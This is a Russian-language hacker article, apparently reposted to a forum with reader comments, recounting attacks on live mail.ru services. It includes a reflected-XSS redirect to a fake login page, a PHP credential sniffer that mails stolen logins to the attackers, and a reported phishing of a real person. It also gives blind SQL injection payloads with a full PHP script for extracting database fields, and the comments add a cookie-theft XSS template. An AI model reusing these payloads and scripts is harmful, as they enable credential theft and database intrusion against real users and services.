author: brainw0rk & pixcher [first day...] 2 часа ночи, я был готов пойти спать, но надо было проверить почту, зайдя к себе на мыльник (а зарегистрирован я на мэйл.ру), я увидел огромное кол-во спама. Долбаный антиспам, установленный на mail.ru, работает дерьмово, видимо спам это подарок от мэйл.ру. Что ж, как никак Новый Год скоро, надо тоже сделать подарок для мэйл.ру (Ясен перец не за красивый дизайн . Исследовав почтовый сервис я так ничиго и не нашел. Что ж поищем через гугль. Так как у мэйла есть много других сервисов помимо почтового, в строке запроса я написал: site:*mail.ru. В ответ гугль вывалил 20 страниц урлов (к счастью половина была повторных, иначе я бы лежал в психушке ). Я налил себе кофе и начал проверять сервисы. Web-кодеры mail.ru хорошо поработали, так как после 2-х часового аудита не было найдено ни одной уязвимости. На данный момент были учтены некоторые глюки сервиса 7ya.mail.ru, при просмотре картинок выскакивало popup окно, запомнив адрес (http://7ya.mail.ru/image.php?in=phot...=500&big_h=375) я решил его подкорректировать, получилось вот что: http://7ya.mail.ru/image.php?in="><font color=ORANGE size=10>Russian Net Hunters - Rulezzz</font> Как видишь получилось - Russian Net Hunters Rulezzz Одним из последних сервисов был форумы@mail.ru, я попробовал скуль-инжекшн, через форму авторизации, но меня редиретнуло на страницу, в которой говорилось, что я не зарегистрирован, и тут мое внимание привлекла адресная строка: http://talk.mail.ru/login.html?target= Я решил проверить переменную target на XSS, набрав в адресной строке http://talk.mail.ru/login.html?target="><script>alert();</script> я очень удивился и обрадовался , потому что выскочило окошко, которое означало одно - target никак не фильтруется. Было решено создать фэйк страницу авторизации, чтобы наивные юзеры сами присылали мне пароль. Было уже 5 часов утра, и даже после 5 кружек кофе хотелось спать (а еще больше хотелось в туалет ). Поэтому я попросил своего хорошего знакомого pixcher'a продолжить начатое мною дело. [next day...] На следующий день (т.е. на этот же ) на аську пришла мессага от pixcher'a. Он создал фэйк форму, а также составил ядовитый урл: http://talk.mail.ru/login.html?target="><script>location.href='Переадр есацию на нашу фэйк форму'</script> В таком виде этот урл сильно палился, поэтому мы немного замаскировали его, чтобы юзеры чувствовали себя сухо и комфортно . В итоге урл принял такой вид: http://talk.mail.ru/login.html?targe...72%69%70%74%3e Далее был написан небольшой сниффер, который принимал переданные заничения, записывал их в файл и перекидывал юзера к себе на почту, вот код сниффера: файл sniffer.php: (1) <? (2) $adminmail = "[email protected]"; (3) function email($to,$mailtext) { (4) mail($to,'password',$mailtext,$adminmail); (5) } (6) $text="[".date("d.m.y H:i")."]Login: $_POST[login] Password: $_POST[pass]\r\n"; (7) email($adminmail,$text); (8) $file = fopen("logs.txt","a"); (9) flock($file,3); (10) fputs($file, $text); (11) flock($file,1); (12) fclose($file); (13) (14) echo "<FORM id='auth' action='http://talk.mail.ru/login.html' method=post> (15) <INPUT type=hidden name=login value='$_POST[login]'> (16) <INPUT type=hidden name=pass value='$_POST[pass]'> (17) <script>auth.submit();</script> (18) </FORM>"; (19) ?> Обратите внимание, как юзер попадает к себе на почту (строка 17) <script>auth.submit();</script> [create...] Создание фэйка. Это совсем не сложно, сохраняем пагу к себе на винт и редактируем параметр action тега form в итоге данные, которые ввел юзер запишутся к тебе в файл, и произойдет редирект, удивленный юзер решит, что произошли какие-нить сбои в работе службы DNS [testing...] Для проверки всего сказанного, я написал "жалостливое" письмо соей новой подружке от бедных админов [email protected] c просьбой кликнуть по ссылке...и вскоре в файле logs.txt появилась новая строчка...какая???не скажу =) На следующий день, pixcher нашел sql-inj: http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' Ошибка выполнения запроса! SELECT COUNT(DISTINCT cc.content_id) FROM cache_content as cc, cache_content_region as r, cache_content_num as n WHERE cc.content_group = 'melody' AND cc.content_type = 'melody_mp3' AND r.content_id = cc.content_id AND n.content_id = cc.content_id AND r.region_id = '9' AND n.model_id = 0 AND singer_id = '9'' You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''9''' at line 1 Я не поверил своим глазам, но после нажатия на кнопку REFRESH баг не исчез =) Запрос к БД на число мелодий по введённым критериям совсем не фильтровался на спецсимволы!!!Абсолютно!!! Моя радость увеличилась, когда я заметил, что запрос http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' or 1=1/* выполняется и выдаёт нам кучу мелодий на скачивание, а запрос http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' or 1=2/* выдаёт 0 => никакого списка рингтонов не отображает =) а это значит то, что можно посимвольно брутить поля базы данных!!! для начало попробуем сбрутить имя пользователя БД user() SQL функция substring(user(),1,1) выдёргивает из строки user() первый символ, а функция lower(substring(user(),1,1)) ещё и переводит его в нижний регистр запрос http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' AND lower(substring(user(),1,1))="a"/* не выдал ни одного рингтона - а значит первая буква пользователя БД не "a" =( первый символ я подобрал вручную, запрос http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9' AND lower(substring(user(),1,1))="i"/* выдавал мне полный перечень музона, и я понял, что для облегчения этого беспонтового ручного перебора нужно писать скрипт... Наш скрипт должен скачивать страницу, меняя в запросе ="a" на остальные символы англицкого алфафита и если в теле скаченной страницы присутствует наш список мелодий (практическим путём было выясненно, что такая страница содержит волшебное число 17107 ) то скрипт должен показать нам этот символ и перейти к поиску второго символа, то есть выполняя запросы, содержащие substring(user(),2,1) и т.д. Не долго думая я запусти блокнот и начал вбивать в него до боли знакомые строки любимого PHP. У меня получилось примерно так: <? #Скрипт для посимвольного брута полей БД by pixcher (http://runthes.ru) set_time_limit(0); //пусть наш скрипт не обламывается, если перебор затягивается на длительное время $find="user()";# Искомая строка (здесь может быть любое поле БД в виде подзапроса) $bruteline ='qwertyuiopasdfghjklzxcvbnm1234567890_+!@#\$%^&*\ '"()';#Предполагаем, что исходная строка состоит только из этих символов $k=1;#Номер символа, который мы брутим (изначально первый =)) #Далее идёт функция для скачивания веб странички, адрес которой передаётся ей в параметре function get_page ($link){ $url = parse_url ($link); $scr = $url['path']; $scr .= ($url['query'] > "")?"?".$url['query']:""; $scr .= ($url['fragment'] > "")?"#".$url['fragment']:""; $host .= $url['host']; $port = ($url['port'] > "")?$url['port']:80; $sock = fsockopen ($host, $port); fputs ($sock, "GET /$scr HTTP/1.0\r\nHost: $host\r\n\r\n"); $cont = ""; while (!feof ($sock)) { $cont .= fgets ($sock); } fclose ($sock); return $cont; } for ($i=0;$i<strlen($bruteline);$i++){ # запускаем цикл для всех наших символов $link="http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=9'%20AND%20lower(substri ng($find,$k,1))=\"$bruteline[$i]\"/*";# Динамически изменяющийся запрос =) $page=get_page($link);# Скачиваем страницу if(strstr($page, "17107")){ # ...и если она содержит магическое число 17107... echo "$bruteline[$i]"; # ...показываем найденный символ... $i=0; # ...начинаем перебор заново... $k++; # ...но для следующего символа }} ?> Запускаем наш скрипт и... ...видим имя пользователя БД: "[email protected]" Попробуем вместо $find="user()"; перебирать результаты подзапроса, например $find="(SELECT password from mysql.user LIMIT 1)"; запискаем скрипт, но он выдаёт...а хо-хо не хе-хе ("а хо-хо не хе-хе", - хакерский слэнг, заменяющий фразу "а не хотити ли вы х*я?" - прим редактора ) эх..подзапросы к сожалению не поддерживаются в почтовой БД =( Ничего сташного, UNION SELECT ещё никто не отменял, так что возможен такой перебор: http://mobile.mail.ru/catalog/catalog_mp3.php?singer_id=-9' UNION SELECT 1 FROM mysql.user where user="inform" and lower(substring(password,1,1))="a" но к этому моменту меня уже стало воротить от одной мысли о запрсе к БД, и я "вдруг" вспомнил, что неправомерный доступ к конфидециальной информации карается законом =) [end...] Как видишь, даже раскрученный проект имеет ошибки. Хочу заметить, что это не единственная ошибка на mail, так что ищи и удачи тебе!
Первая (с Xss) - фигня. Таких пассивных Xss на Маил_Ру на Античате уже много понапостено. А вторая - интересно. Правда концовка "и я "вдруг" вспомнил, что неправомерный доступ к конфидециальной информации карается законом" подразумевает, что они фиг там че полезного нашли, но для таинственности решили оставить. Хотя - хз.
2dinar_007 ну хватит тупые статьи и новости поститить, пиши что нить хотя бы интересное. Или хотя бы что-то новое. --- Насчет статьи - фигня таких хсс и в правду очень много, была бы хотя бы активная, а так не стоило раздувать на несколько страниц. Насчет скуля - в ближайшее время проверю мейл ру и что-то мне не верится что на таком крупном проекте юзается простой мускул тем более 3306 порт закрыт. Возможно я и ошибаюсь, но наводит на мысли
а вообще-то есть это же статья, но написаная лучше и интереснее, самим pixcher'ом, а эта висела на xakep.ru
Вообще мэйловцы молодцы. Долго не паримся... Кидаем "потенциальную уязвимость" в инет, смотрим кто как с ней поработал, делаем выводы. Тоже способ. Иногда может и принесет результат. А вообще им наверно приятно, что над их безопасностью столько хакерских сайтов работает. Эта статья не поиск дыр хакером на мэйле. Это поиск мэйлом дыр у себя при помощи тысяч форумных хакеров.
хы. я нихрена не понял) Статья взята по сути с хакера значит? Ну тогда вообще лол. То есть исходя из названия, теперь это считается ПОБЕДИТЬ? Куртые взломы, ничего не скажешь... Вообще, мэйл.ру портал офигенный по сути, что бы ни 8оворили. хотя и уязвимостей там заметнывх невооруженных взглядом и вопреки расхожому мнению дофига и больше. и кстати каждая из них во много раз интереснее и опасней описанной автором. взять тот же talk.ru/ Ведь если не полениться и поискать то сразу наткнешься: В заголовке создаваемой темы пропускаются html-тэги в области title Code: "><script>ВОРУЕМ_КУКИ_ИЛИ_МЕНЯЕМ_МЫЛО_ИЛИ ПАСС</script> каждый кто читает наше сообщения будет подломан. Проблема только в том что этот ненастоящий форум с ненастоящими аккаунтами нахрен никаму не нужен, а авторы все пишут и пишут)... если уж браться то boom.ru например.. там посерьезнее кое-что есть вполне реально, почему нет? да и вообще сервис(mobile) видимо не атк давно открыт, и находится в разработке, с другой стороны у них и пхп там юзается пока))
Вообщето оригинал статьи находится тут - _http://forum.runthes.ru/showthread.php?t=603 И авторство принадлежит двум членам Russian Net Huneters: brainw0rk & pixcher А вы хотели чтобы в статье был подробно описан взлом mail.ru что послужило бы прямой уликой? =)) Наивные =))
Хы... Даже на античате она появилась)). Вот не ждал что на античат с хакера копипастят. Сделаю некое лирическое отступление. Перед тем моментом, как статья пошла в хакер, её активно обсуждали у нас на форуме в приватном разделе. Багов, скажу честно, в сервисах от мэйла было найдено приличное множество и достаточно серьёзных. Всё освещать не стали причинам, которые, думаю, не стоит объяснять. После того, как она попала в хакер ей дали название и переделали. Оригинал статьи лежит на сайте автора(пикс, прет =)), на нашем же форуме , Векса, лишь то, что пошло в хакер =). По моему статья вышла довольно познавательной. С позиции читателя всё достаточно чётко освещено. Респект пиксу и брэйнворку за работу. Ждите ещё креативов от нашей тимы =)
Найдёшь баги на mail.ru в томже количестве хотябы в каком они присутсвуют в статье напишешь полнее позновательнее - будет тебе респект, а ежели ничего сделать не можешь то лучше помолчи - авось за умного сойдёшь. В принципе принципиальной разници нет. Вот только огорчило что ссылка на оригинал отсутвует.